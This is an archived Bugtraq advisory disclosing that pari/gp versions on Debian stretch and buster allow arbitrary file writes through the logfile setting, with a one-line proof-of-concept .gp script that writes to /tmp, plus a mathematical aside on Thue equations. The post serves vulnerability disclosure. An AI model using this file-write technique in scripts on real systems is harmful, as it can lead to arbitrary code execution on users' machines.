[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    pari/gp on debian stable allow arbitrary file write
From:       Georgi Guninski <gguninski () gmail ! com>
Date:       2019-11-26 10:40:19
Message-ID: CAGUWgD8DJQSV4-X0DtObmhPh_29xV-cYyLG9mzH_cStoPYywOA () mail ! gmail ! com
[Download RAW message or body]

pari/gp on debian stable allow arbitrary file write

pari/gp is CAS (computer algebra system).
pari/gp version 2.9.1 on debian stretch and 2.11 on debian buster
allow arbitrary file write and hence arbitrary code execution.

poc:
========
\\ a.gp
\\ to run: \r a.gp
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");
========

Of mathematical interest is pari was missing solutions
to Thue equations when assuming GRH (the fix changed polynomial
bound to exponential bound):
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html
t=thue(thueinit(x^3+92*x+1,0),3^3);t

-- 
CV:    https://j.ludost.net/resumegg.pdf
site:  http://www.guninski.com
blog:  https://j.ludost.net/blog
[prev in list] [next in list] [prev in thread] [next in thread]